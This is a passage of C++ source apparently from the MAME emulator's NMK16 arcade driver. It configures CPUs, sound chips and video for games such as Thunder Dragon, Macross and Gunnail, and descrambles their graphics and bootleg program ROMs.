seibu_sound.int_callback().set_inputline(m_audiocpu, 0); seibu_sound.set_rom_tag("audiocpu"); seibu_sound.set_rombank_tag("seibu_bank1"); seibu_sound.ym_read_callback().set("ymsnd", FUNC(ym3812_device::read)); seibu_sound.ym_write_callback().set("ymsnd", FUNC(ym3812_device::write)); } void nmk16_state::tdragonb2(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::tdragonb2_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); OKIM6295(config, "oki", 1320000, okim6295_device::PIN7_LOW).add_route(ALL_OUTPUTS, "mono", 0.40); } void nmk16_state::tdragon(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(8'000'000)); // verified on PCB m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::tdragon_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000)/8)); // verified on PCB ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(8'000'000)/2, okim6295_device::PIN7_LOW); // verified on PCB m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(8'000'000)/2, okim6295_device::PIN7_LOW); // verified on PCB m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::tdragon_prot(machine_config &config) { tdragon(config); TIMER(config, "coinsim").configure_periodic(FUNC(nmk16_state::tdragon_mcu_sim), attotime::from_hz(10000)); } void nmk16_state::ssmissin(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 8000000); // 8 Mhz m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::ssmissin_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 8000000/2); // 4 Mhz m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::ssmissin_sound_map); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); m_soundlatch->data_pending_callback().set_inputline(m_audiocpu, 0); OKIM6295(config, m_oki[0], 8000000/8, okim6295_device::PIN7_HIGH); // 1 Mhz, pin 7 high m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 1.0); } void nmk16_state::strahl(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 12000000); // 12 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::strahl_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_strahl)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_strahl); PALETTE(config, m_palette).set_format(palette_device::RGBx_444, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,strahl) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", 1500000)); ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], 16000000/4, okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], 16000000/4, okim6295_device::PIN7_LOW); m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::strahljbl(machine_config &config) { M68000(config, m_maincpu, 12_MHz_XTAL); m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::strahljbl_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 12_MHz_XTAL / 4); // XTAL confirmed, divisor not m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::seibu_sound_map); m_audiocpu->set_irq_acknowledge_callback("seibu_sound", FUNC(seibu_sound_device::im0_vector_cb)); set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_strahl)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_strahl); PALETTE(config, m_palette).set_format(palette_device::RGBx_444, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,strahl) SPEAKER(config, "mono").front_center(); ym3812_device &ymsnd(YM3812(config, "ymsnd", 12_MHz_XTAL / 4)); // XTAL confirmed, divisor not ymsnd.irq_handler().set("seibu_sound", FUNC(seibu_sound_device::fm_irqhandler)); ymsnd.add_route(ALL_OUTPUTS, "mono", 1.0); OKIM6295(config, "oki", 12_MHz_XTAL / 12, okim6295_device::PIN7_LOW).add_route(ALL_OUTPUTS, "mono", 0.40); // XTAL confirmed, divisor not seibu_sound_device &seibu_sound(SEIBU_SOUND(config, "seibu_sound", 0)); seibu_sound.int_callback().set_inputline(m_audiocpu, 0); seibu_sound.set_rom_tag("audiocpu"); seibu_sound.set_rombank_tag("seibu_bank1"); seibu_sound.ym_read_callback().set("ymsnd", FUNC(ym3812_device::read)); seibu_sound.ym_write_callback().set("ymsnd", FUNC(ym3812_device::write)); } void nmk16_state::hachamf(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::hachamf_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", 1500000)); ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], 16000000/4, okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], 16000000/4, okim6295_device::PIN7_LOW); m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::hachamf_prot(machine_config &config) { hachamf(config); TIMER(config, "coinsim").configure_periodic(FUNC(nmk16_state::hachamf_mcu_sim), attotime::from_hz(10000)); } void nmk16_state::macross(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10 MHz ? m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::macross_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", 1500000)); ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], 16000000/4, okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], 16000000/4, okim6295_device::PIN7_LOW); m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::blkheart(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(8'000'000)); // verified on PCB m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::macross_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_lowres(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, 8000000); m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000)/8)); // verified on PCB ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(8'000'000)/2, okim6295_device::PIN7_LOW); // verified on PCB m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(8'000'000)/2, okim6295_device::PIN7_LOW); // verified on PCB m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::gunnail(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // verified on PCB m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::gunnail_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_hires(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,gunnail) // sound hardware SPEAKER(config, "mono").front_center(); NMK004(config, m_nmk004, XTAL(16'000'000)/2); // verified on PCB m_nmk004->reset_cb().set_inputline(m_maincpu, INPUT_LINE_RESET); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000)/8)); // verified on PCB ymsnd.irq_handler().set("nmk004", FUNC(nmk004_device::ym2203_irq_handler)); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(16'000'000)/4, okim6295_device::PIN7_LOW); // verified on PCB m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(16'000'000)/4, okim6295_device::PIN7_LOW); // verified on PCB m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } void nmk16_state::gunnailb(machine_config &config) { gunnail(config); m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::gunnailb_map); Z80(config, m_audiocpu, 6000000); // 6 MHz ? m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::gunnailb_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_state::gunnailb_sound_io_map); GENERIC_LATCH_8(config, m_soundlatch); m_soundlatch->data_pending_callback().set_inputline(m_audiocpu, INPUT_LINE_NMI); GENERIC_LATCH_8(config, "soundlatch2"); subdevice<ym2203_device>("ymsnd")->irq_handler().set_inputline(m_audiocpu, INPUT_LINE_IRQ0); OKIM6295(config.replace(), m_oki[0], 12000000 / 4, okim6295_device::PIN7_LOW); // no OKI banking m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.80); config.device_remove("nmk004"); config.device_remove("oki2"); } void nmk16_state::macross2(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // MC68000P12 10 MHz m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::macross2_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 4000000); // Z8400B PS 4 MHz ? m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::macross2_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_state::macross2_sound_io_map); // video hardware set_hacky_screen_hires(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_5bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross2); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross2) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); GENERIC_LATCH_8(config, "soundlatch2"); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000) / 8)); ymsnd.irq_handler().set_inputline(m_audiocpu, 0); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(16'000'000) / 4, okim6295_device::PIN7_LOW); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(16'000'000) / 4, okim6295_device::PIN7_LOW); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); nmk112_device &nmk112(NMK112(config, "nmk112", 0)); nmk112.set_rom0_tag("oki1"); nmk112.set_rom1_tag("oki2"); } void nmk16_state::tdragon2(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // TMP68000P-12 10 MHz m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::tdragon2_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 4000000); // Z0840006PSC 4? MHz m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::macross2_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_state::macross2_sound_io_map); // video hardware set_hacky_screen_hires(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_5bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross2); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross2) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); GENERIC_LATCH_8(config, "soundlatch2"); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000) / 8)); ymsnd.irq_handler().set_inputline(m_audiocpu, 0); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(16'000'000) / 4, okim6295_device::PIN7_LOW); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(16'000'000) / 4, okim6295_device::PIN7_LOW); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); nmk112_device &nmk112(NMK112(config, "nmk112", 0)); nmk112.set_rom0_tag("oki1"); nmk112.set_rom1_tag("oki2"); } void nmk16_state::tdragon3h(machine_config &config) { tdragon2(config); m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::tdragon3h_map); // No YM2203 and only one OKI, the PCB has a space for the YM2203, populated by a 7474 and a 74367. // It's been verified that by removing them and putting the YM2203 in its place, the game can make use of it. m_audiocpu->set_addrmap(AS_IO, &nmk16_state::tdragon3h_sound_io_map); config.device_remove("ymsnd"); config.device_remove("oki1"); } void nmk16_state::raphero(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(14'000'000)); // MC68HC000P12 or MC68000P12F or TMP68HC000P-16 14 MHz m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::raphero_map); set_hacky_interrupt_timing(config); TMP90841(config, m_audiocpu, XTAL(16'000'000) / 2); // TMP90C841AN 8 MHz m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::raphero_sound_mem_map); // video hardware set_hacky_screen_hires(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_5bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross2); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,gunnail) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); GENERIC_LATCH_8(config, "soundlatch2"); ym2203_device &ymsnd(YM2203(config, "ymsnd", XTAL(12'000'000) / 8)); ymsnd.irq_handler().set_inputline(m_audiocpu, 0); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], XTAL(16'000'000) / 4, okim6295_device::PIN7_LOW); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], XTAL(16'000'000) / 4, okim6295_device::PIN7_LOW); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); nmk112_device &nmk112(NMK112(config, "nmk112", 0)); nmk112.set_rom0_tag("oki1"); nmk112.set_rom1_tag("oki2"); } void nmk16_state::bjtwin(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, XTAL(10'000'000)); // verified on PCB m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::bjtwin_map); set_hacky_interrupt_timing(config); // video hardware set_hacky_screen_hires(config); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_bjtwin)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_bjtwin); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_state,bjtwin) // sound hardware SPEAKER(config, "mono").front_center(); OKIM6295(config, m_oki[0], XTAL(16'000'000)/4, okim6295_device::PIN7_LOW); // verified on PCB m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.20); OKIM6295(config, m_oki[1], XTAL(16'000'000)/4, okim6295_device::PIN7_LOW); // verified on PCB m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.20); nmk112_device &nmk112(NMK112(config, "nmk112", 0)); nmk112.set_rom0_tag("oki1"); nmk112.set_rom1_tag("oki2"); } TIMER_DEVICE_CALLBACK_MEMBER(nmk16_state::manybloc_scanline) { int scanline = param; if (scanline == 248) // vblank-out irq { // only a single buffer memcpy(m_spriteram_old2.get(), m_mainram + m_sprdma_base / 2, 0x1000); m_maincpu->set_input_line(4, HOLD_LINE); } // This is either vblank-in or sprite DMA IRQ complete if (scanline == 0) m_maincpu->set_input_line(2, HOLD_LINE); } // non-nmk board, different to the others, very timing sensitive void nmk16_state::manybloc(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 10000000); // 10? MHz - check m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_state::manybloc_map); m_maincpu->set_periodic_int(FUNC(nmk16_state::irq1_line_hold), attotime::from_hz(56)); // this needs to equal the framerate on this, rather than being double it... TIMER(config, "scantimer").configure_scanline(FUNC(nmk16_state::manybloc_scanline), "screen", 0, 1); Z80(config, m_audiocpu, 3000000); m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_state::tharrier_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_state::tharrier_sound_io_map); // video hardware SCREEN(config, m_screen, SCREEN_TYPE_RASTER); m_screen->set_refresh_hz(56); m_screen->set_vblank_time(ATTOSECONDS_IN_USEC(2500)); // not accurate m_screen->set_size(256, 256); m_screen->set_visarea(0*8, 32*8-1, 1*8, 31*8-1); m_screen->set_screen_update(FUNC(nmk16_state::screen_update_macross)); m_screen->set_palette(m_palette); NMK_16BIT_SPRITE(config, m_spritegen, XTAL(12'000'000)/2); m_spritegen->set_colpri_callback(FUNC(nmk16_state::get_colour_4bit)); m_spritegen->set_ext_callback(FUNC(nmk16_state::get_sprite_flip)); m_spritegen->set_screen_size(256, 256); m_spritegen->set_max_sprite_clock(384 * 263); // from hardware manual GFXDECODE(config, m_gfxdecode, m_palette, gfx_tharrier); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 512); MCFG_VIDEO_START_OVERRIDE(nmk16_state,macross) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); GENERIC_LATCH_8(config, "soundlatch2"); ym2203_device &ymsnd(YM2203(config, "ymsnd", 1500000)); ymsnd.irq_handler().set_inputline(m_audiocpu, 0); ymsnd.add_route(0, "mono", 0.50); ymsnd.add_route(1, "mono", 0.50); ymsnd.add_route(2, "mono", 0.50); ymsnd.add_route(3, "mono", 1.20); OKIM6295(config, m_oki[0], 16000000/4, okim6295_device::PIN7_LOW); m_oki[0]->set_addrmap(0, &nmk16_state::oki1_map); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.10); OKIM6295(config, m_oki[1], 16000000/4, okim6295_device::PIN7_LOW); m_oki[1]->set_addrmap(0, &nmk16_state::oki2_map); m_oki[1]->add_route(ALL_OUTPUTS, "mono", 0.10); } // non-nmk board, clearly cloned hw tho, all clocks need checking. void nmk16_tomagic_state::tomagic(machine_config &config) { // basic machine hardware M68000(config, m_maincpu, 12000000); // 12? MHz m_maincpu->set_addrmap(AS_PROGRAM, &nmk16_tomagic_state::tomagic_map); set_hacky_interrupt_timing(config); Z80(config, m_audiocpu, 12000000/4); // 3 Mhz? m_audiocpu->set_addrmap(AS_PROGRAM, &nmk16_tomagic_state::tomagic_sound_map); m_audiocpu->set_addrmap(AS_IO, &nmk16_tomagic_state::tomagic_sound_io_map); // video hardware set_hacky_screen_hires(config); m_spritegen->set_colpri_callback(FUNC(nmk16_tomagic_state::get_colour_4bit)); m_screen->set_screen_update(FUNC(nmk16_tomagic_state::screen_update_macross)); GFXDECODE(config, m_gfxdecode, m_palette, gfx_macross); PALETTE(config, m_palette).set_format(palette_device::RRRRGGGGBBBBRGBx, 1024); MCFG_VIDEO_START_OVERRIDE(nmk16_tomagic_state,gunnail) // sound hardware SPEAKER(config, "mono").front_center(); GENERIC_LATCH_8(config, m_soundlatch); m_soundlatch->data_pending_callback().set_inputline(m_audiocpu, INPUT_LINE_NMI); ym3812_device &ymsnd(YM3812(config, "ymsnd", 12000000/4)); // K-666 (YM3812) 3Mhz? */ ymsnd.irq_handler().set_inputline(m_audiocpu, 0); ymsnd.add_route(ALL_OUTPUTS, "mono", 0.50); OKIM6295(config, m_oki[0], 12000000/4, okim6295_device::PIN7_LOW); m_oki[0]->add_route(ALL_OUTPUTS, "mono", 0.50); } u8 nmk16_state::decode_byte(u8 src, const u8 *bitp) { u8 ret = 0; for (int i = 0; i < 8; i++) ret |= (((src >> bitp[i]) & 1) << (7 - i)); return ret; } u32 nmk16_state::bjtwin_address_map_bg0(u32 addr) { return ((addr & 0x00004) >> 2) | ((addr & 0x00800) >> 10) | ((addr & 0x40000) >> 16); } u16 nmk16_state::decode_word(u16 src, const u8 *bitp) { u16 ret = 0; for (int i = 0; i < 16; i++) ret |= (((src >> bitp[i]) & 1) << (15 - i)); return ret; } u32 nmk16_state::bjtwin_address_map_sprites(u32 addr) { return ((addr & 0x00010) >> 4) | ((addr & 0x20000) >> 16) | ((addr & 0x100000) >> 18); } void nmk16_state::decode_gfx() { // GFX are scrambled. We decode them here. (BIG Thanks to Antiriad for descrambling info) u8 *rom; int len; static const u8 decode_data_bg[8][8] = { {0x3,0x0,0x7,0x2,0x5,0x1,0x4,0x6}, {0x1,0x2,0x6,0x5,0x4,0x0,0x3,0x7}, {0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0}, {0x7,0x6,0x5,0x0,0x1,0x4,0x3,0x2}, {0x2,0x0,0x1,0x4,0x3,0x5,0x7,0x6}, {0x5,0x3,0x7,0x0,0x4,0x6,0x2,0x1}, {0x2,0x7,0x0,0x6,0x5,0x3,0x1,0x4}, {0x3,0x4,0x7,0x6,0x2,0x0,0x5,0x1}, }; static const u8 decode_data_sprite[8][16] = { {0x9,0x3,0x4,0x5,0x7,0x1,0xb,0x8,0x0,0xd,0x2,0xc,0xe,0x6,0xf,0xa}, {0x1,0x3,0xc,0x4,0x0,0xf,0xb,0xa,0x8,0x5,0xe,0x6,0xd,0x2,0x7,0x9}, {0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0}, {0xf,0xe,0xc,0x6,0xa,0xb,0x7,0x8,0x9,0x2,0x3,0x4,0x5,0xd,0x1,0x0}, {0x1,0x6,0x2,0x5,0xf,0x7,0xb,0x9,0xa,0x3,0xd,0xe,0xc,0x4,0x0,0x8}, // Haze 20/07/00 {0x7,0x5,0xd,0xe,0xb,0xa,0x0,0x1,0x9,0x6,0xc,0x2,0x3,0x4,0x8,0xf}, // Haze 20/07/00 {0x0,0x5,0x6,0x3,0x9,0xb,0xa,0x7,0x1,0xd,0x2,0xe,0x4,0xc,0x8,0xf}, // Antiriad, Corrected by Haze 20/07/00 {0x9,0xc,0x4,0x2,0xf,0x0,0xb,0x8,0xa,0xd,0x3,0x6,0x5,0xe,0x1,0x7}, // Antiriad, Corrected by Haze 20/07/00 }; // background rom = memregion("bgtile")->base(); len = memregion("bgtile")->bytes(); for (int A = 0; A < len; A++) { rom[A] = decode_byte(rom[A], decode_data_bg[bjtwin_address_map_bg0(A)]); } // Sprites rom = memregion("sprites")->base(); len = memregion("sprites")->bytes(); for (int A = 0; A < len; A += 2) { u16 tmp = decode_word(rom[A+1]*256 + rom[A], decode_data_sprite[bjtwin_address_map_sprites(A)]); rom[A+1] = tmp >> 8; rom[A] = tmp & 0xff; } } void nmk16_state::decode_tdragonb() { /* Descrambling Info Again Taken from Raine, Huge Thanks to Antiriad and the Raine Team for going Open Source, best of luck in future development. */ u8 *rom; int len; // The Main 68k Program of the Bootleg is Bitswapped static const u8 decode_data_tdragonb[1][16] = { {0xe,0xc,0xa,0x8,0x7,0x5,0x3,0x1,0xf,0xd,0xb,0x9,0x6,0x4,0x2,0x0}, }; // Graphic Roms Could Also Do With Rearranging to make things simpler static const u8 decode_data_tdragonbgfx[1][8] = { {0x7,0x6,0x5,0x3,0x4,0x2,0x1,0x0}, }; rom = memregion("maincpu")->base(); len = memregion("maincpu")->bytes(); for (int A = 0; A < len; A += 2) { int h = A + NATIVE_ENDIAN_VALUE_LE_BE(1,0), l = A + NATIVE_ENDIAN_VALUE_LE_BE(0,1); u16 tmp = decode_word(rom[h]*256 + rom[l], decode_data_tdragonb[0]); rom[h] = tmp >> 8; rom[l] = tmp & 0xff; } rom = memregion("bgtile")->base(); len = memregion("bgtile")->bytes(); for (int A = 0; A < len; A++) { rom[A] = 